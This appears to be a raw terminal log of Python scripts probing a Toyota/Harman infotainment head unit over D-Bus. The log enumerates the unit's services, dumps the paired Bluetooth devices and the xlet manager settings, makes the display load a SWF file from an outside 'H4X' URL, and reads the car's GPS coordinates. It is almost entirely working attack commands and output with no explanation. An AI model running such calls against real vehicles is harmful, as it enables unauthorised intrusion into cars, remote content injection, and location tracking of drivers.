machine% python toyota.py
p = bus.get_object("org.freedesktop.DBus", "/org/freedekstop/DBus")
print p.Introspect()
p = bus.get_object("org.freedesktop.DBus", "/org/freedekstop/DBus")
i = dbus.Interface(p, dbus_interface="org.freedesktop.DBus")
for s in i.ListNames():
print s
org.freedesktop.DBus
com.harman.service.PersistentKeyValue
com.harman.service.SimpleHandsFree
com.harman.service.antiReadDisturbService
com.harman.service.SoftwareInstaller
com.aicas.xlet.manager.AMS
com.harman.service.SoftwareUpdate
com.harman.service.csi_SqlDatabase
com.harman.service.HMIService
com.harman.service.Media
com.harman.service.Navigation
:1.40
com.harman.service.Diagnostics
com.harman.service.ToyotaConnMgr
:1.20
:1.24
:1.25
:1.48
com.harman.service.poi_SqlDatabase
:1.26
:1.27
:1.28
com.harman.service.BluetoothService
com.harman.service.DatabaseService
com.harman.service.ToyotaMGR
com.harman.service.Tuner
com.harman.service.NDR
com.harman.service.WavePrompter
com.harman.service.authenticationService
de.ict-se.service.Csi
com.harman.service.ContactBackup
com.harman.service.PictureScaler
com.harman.service.WatchDogService
com.harman.service.TimeMgr
com.harman.service.ConnMgr
:1.31
:1.32
:1.11
:1.33
com.harman.service.AudioCtrlSvc
:1.12
:1.34
:1.0
:1.35
com.harman.service.PimService
:1.1
:1.14
:1.36
:1.2
com.harman.service.DeviceInput
:1.37
:1.38
:1.3
:1.39
:1.4
:1.17
:1.5
:1.18
:1.19
machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
{"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}
machine% python toyota.py com.aicas.xlet.manager.AMS getAllProperties '{}'
ERROR:dbus.proxies:Introspect error on :1.40:/com/aicas/xlet/manager/AMS: dbus.exceptions.DBusException: org.freedesktop.dbus.exceptions.DBusExecutionException: Error Executing Method org.freedesktop.DBus.Introspectable.Introspect: -1 not in 0..-1
{ "version":"1.0.17",
"visible":true,
"verbose":false,
"secure":true,
"initXletTimeout":30000,
"startXletTimeout":30000,
"pauseXletTimeout":3000,
"destroyXletTimeout":10000,
"destroyXletThreadsTimeout":200,
"destroyXletOnErrorTimeout":4000,
"defaultCallbackTimeout":10000,
"initXletPriority":5,
"startXletPriority":5,
"pauseXletPriority":5,
"destroyXletPriority":5,
"destroyXletOnErrorPriority":5,
"runningApp":"",
"pausedAppCount":0,
"noErrorOnNotifyDestroyedDuringStateTransition":true,
"pauseRunningXletOnResumeRequest":false,
"freeMemXletAllocationLimit":200000,
"freeMemXletAlarmLimit":200000,
"maxXletImageMemory":-1 }
machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
{"result":true}
machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
calling MAP_PositionInfo()
{"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}